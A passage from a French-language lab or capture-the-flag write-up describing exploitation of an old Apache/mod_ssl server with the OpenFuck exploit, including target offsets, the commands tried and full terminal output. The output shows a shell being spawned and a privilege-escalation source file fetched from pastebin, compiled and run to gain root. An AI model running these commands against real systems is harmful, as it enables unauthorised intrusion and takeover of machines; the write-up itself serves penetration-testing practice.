A savoir les différents paramètres à rentrer. J'ai cherché le target dans la liste et voici ce que j'ai trouvé :

```
0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
```

Ce qui correspond à la version du logiciel trouvé sur le port 443 au tout début grâce au nmap.

J'ai donc essayé avec la commande :

- `./OpenFuck 0x6a 192.168.9.51 443 -c 40`  
Mais cela n'a pas marché, j'ai donc retesté en mettant 50 au lieu de 40 comme spécifié au dessus mais cela n'a pas marché non plus.

J'ai utilisé alors la commande :

- `./OpenFuck 0x6b 192.168.9.51 443 -c 40`

Toujours un échec même en changeant avec 50.

J'ai fait quelques recherches et il faut en plus de cela envoyer une requête HTTPS au serveur, donc en tapant dans la barre de recherche l'adresse de notre machine PUIS effectuer cette même commande et juste après, voici le résultat :

Ps mon IP a changé car je travaille depuis chez moi à l'heure actuelle.

```
(kali㉿kali)-[~/Desktop]
$./OpenFuck 0x6b 192.168.9.51 443 -c 50

* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *

* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *

if you do so, people visiting your website will see this page, and not your content
Connection... 50 of 50
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f8068
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
race-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; m/raw/C7v25Xr9 -O pt
--14:48:54-- https://pastebin.com/raw/C7v25Xr9
It is either empty, has been moved, or is undergoing routine maintenance.
Connecting to pastebin.com:443... connected!
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]

0K ... @ 13.19 KB/s
14:48:55 (13.15 KB/s) - 'ptrace-kmod.c' saved [4026]

ptrace-kmod.c:183:1: warning: no newline at end of file
[+] Attached to 1175
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...

whoami
root
```

Nous avons bien accès à la machine comme vous pouvez le voir, et ce en tant que root !